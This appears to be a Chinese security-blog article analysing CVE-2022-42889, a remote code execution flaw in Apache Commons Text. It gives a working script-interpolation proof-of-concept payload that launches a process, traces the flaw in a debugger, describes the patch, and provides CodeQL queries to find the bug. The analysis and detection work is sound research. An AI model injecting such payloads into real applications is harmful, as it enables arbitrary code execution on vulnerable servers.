freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

CVE-2022-42889 Apache Commons Text RCE 漏洞分析与 CodeQ...
2024-02-23 09:46:17

0x01 前言

CodeQL 实践

0x02 漏洞相关信息

漏洞描述

Apache Commons Text 执行变量插值 (variable interpolation), 允许动态评估和扩展属性。插值的标准格式是"${prefix:name}",其中 "prefix" 用于查找定位执行插值 org.apache.commons.text.lookup.StringLookup的实例。从 1.5 版到 1.9 版,默认的 Lookup 实例集包括可能导致任意代码执行或与远程服务器联系的插值器。

  • 看到这个漏洞描述其实就是 JavaScriptEngine 没得跑了

漏洞影响版本

1.5 <= Apache Commons Text <= 1.9

0x03 漏洞基础

Apache Commons Text

Apache Commons Text 该组件是一款处理字符串和文本块的开源项目,简单来说,除了核心 Java 提供的功能外,Apache Commons 文本库还包含了许多有用的实用程序方法,用于处理字符串。通常在开发过程中用于占位符和动态获取属性的字符串编辑工具包,常用于数据库查询前的语句替换,或者页面输出时的替换。

0x04 环境搭建

pom.xml

<dependency>  
  <groupId>org.apache.commons</groupId>  
  <artifactId>commons-text</artifactId>  
  <version>1.9</version>  
</dependency>

0x05 漏洞复现与分析

漏洞复现

按照官方文档的说法,https://commons.apache.org/proper/commons-text/userguide.html

一个简单的 demo 使用应该如下

final StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
final String text = interpolator.replace(
    "Base64 Decoder:        ${base64Decoder:SGVsbG9Xb3JsZCE=}\n" +
    "Base64 Encoder:        ${base64Encoder:HelloWorld!}\n" +
    "Java Constant:         ${const:java.awt.event.KeyEvent.VK_ESCAPE}\n" +
    "Date:                  ${date:yyyy-MM-dd}\n" +
    "Environment Variable:  ${env:USERNAME}\n" +
    "File Content:          ${file:UTF-8:src/test/resources/document.properties}\n" +
    "Java:                  ${java:version}\n" +
    "Localhost:             ${localhost:canonical-name}\n" +
    "Properties File:       ${properties:src/test/resources/document.properties::mykey}\n" +
    "Resource Bundle:       ${resourceBundle:org.apache.commons.text.example.testResourceBundleLookup:mykey}\n" +
    "System Property:       ${sys:user.dir}\n" +
    "URL Decoder:           ${urlDecoder:Hello%20World%21}\n" +
    "URL Encoder:           ${urlEncoder:Hello World!}\n" +
    "XML XPath:             ${xml:src/test/resources/document.xml:/root/path/to/node}\n"
);

根据官方文档的说法,这里还支持一些其他关键字,比如dnsurlscript,对应的类是ScriptStringLookup,进去看看

image

其中比较明显地能够看出来该如何构造语句

PoC

${script:js:new java.lang.ProcessBuilder("Calc").start()}

结合整体

import org.apache.commons.text.StringSubstitutor;  
  
public class EXP {  
    public static void main(String[] args) {  
  
        StringSubstitutor interpolator = StringSubstitutor.createInterpolator();  
        String payload = "${script:js:new java.lang.ProcessBuilder(\"calc\").start()}";  
        interpolator.replace(payload);  
    }  
}

image

漏洞分析

这里主要是两个点,一为如何到JavaScript Engine,二则是 Commons Text 如何调用JavaScript Engine

下断点调试一下,先看看StringSubstitutor.createInterpolator()

image

StringSubstitutor类本质上就是一个字符串替换器,这里调用了对应的构造函数,创建了一些规则。跟进replace()方法

image

往下,跟进substitute()方法,最后调用至org.apache.commons.text.StringSubstitutor#substitute方法

image

最终的结果是拿到varName,也就是去掉首尾的后的内容。往下走,程序调用resolveVariable()方法,跟进。

image

往下到org.apache.commons.text.lookup.ScriptStringLookup#lookup方法,在这之前处理了我们的 payload,对:前后的内容进行Split操作,再进行判断。接着就是javascript引擎被实例化了出来。跟进scriptEngine.eval()方法

image

后续就是调用ScriptEngineManager命令执行的代码,不再展开。

0x06 漏洞修复

在 1.11.0 版本做了 patch

移除了不安全的插值器 script、 dns和 url

image

0x07 利用 CodeQL 挖掘 CVE-2022-42889

真的是踩大坑了

数据库

首先是数据库的构造上,先来看一下我的错误案例吧

codeql database create DB_DIR --language=java --command='mvn clean install'

这样子构造的数据库是不行的。。。因为你最后去做 codeql 查询的时候,很多库里面的类都不会被加载进来,只有在上下文中的类会有被加载,其实根本没用

我这里的做法是,把所有的包都提出来(包括 JDK 包,以及漏洞包),提出来之后反编译,接着用 extract-java 构造 codeql 数据库。

这样子的查询才是有效的。。。。。。

CodeQL 基础 Sink&Source

首先是 sink,其实是比较简单的,先来看漏洞触发点

org.apache.commons.text.lookup.ScriptStringLookup#lookup

image

所以 sink 应该是javax.script.ScriptEngine#lookup

  • 构造 Sink

class ScriptEngineEval extends DataFlow::Node {
  ScriptEngineEval() {
    exists(MethodAccess ma |
      ma.getCallee().hasName("eval") and
      ma.getCallee().getDeclaringType().getASupertype*().hasQualifiedName("javax.script", "ScriptEngine") and
      this.asExpr() = ma.getArgument(0)
    )
  }
}

image

接下来是 source,由于我们并不是代码审计类型的项目,大概率是不能直接 RemoteFlowSource 直接这样子定义的,所以需要定义一下,可以将该库所有公有类的字符串类型公有方法参数作为 Source 点

  • 构造 Source

class PublicMethodParameter extends DataFlow::Node {
  PublicMethodParameter() {
    exists(Method m, Parameter p |
      m.getDeclaringType().isPublic() and
      m.isPublic() and
      p = m.getAParameter() and
      p.getType().hasName("String") and
      this.asParameter() = p
    )
  }
}

这样子就找到了,原本看涙笑师傅的博客里面有写需要 PartialPathGraph 来 Debug,可能是因为 CodeQL 版本不同导致的。最终的 ql 语句

/**
 * @kind path-problem
 */

import java
import semmle.code.java.dataflow.DataFlow
import DataFlow::PathGraph 
import semmle.code.java.dataflow.TaintTracking 

class Config extends TaintTracking::Configuration {
  Config() { this = "config" }

  override predicate isSource(DataFlow::Node source) {source instanceof PublicMethodParameter}

  override predicate isSink(DataFlow::Node sink) { sink instanceof ScriptEngineEval }
}

class ScriptEngineEval extends DataFlow::Node {
  ScriptEngineEval() {
    exists(MethodAccess ma |
      ma.getCallee().hasName("eval") and
      ma.getCallee().getDeclaringType().getASupertype*().hasQualifiedName("javax.script", "ScriptEngine") and
      this.asExpr() = ma.getArgument(0)
    )
  }
}

class PublicMethodParameter extends DataFlow::Node {
  PublicMethodParameter() {
    exists(Method m, Parameter p |
      m.getDeclaringType().isPublic() and
      m.isPublic() and
      p = m.getAParameter() and
      p.getType().hasName("String") and
      this.asParameter() = p
    )
  }
}

from Config cfg, DataFlow::PathNode source, DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select sink, source, sink, "path"

image

0x08 Ref

https://l3yx.github.io/2022/12/17/%E7%94%A8CodeQL%E5%88%86%E6%9E%90%E6%BC%8F%E6%B4%9E-CVE-2022-42889/

# web安全 # 漏洞分析 # CVE # CodeQL
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录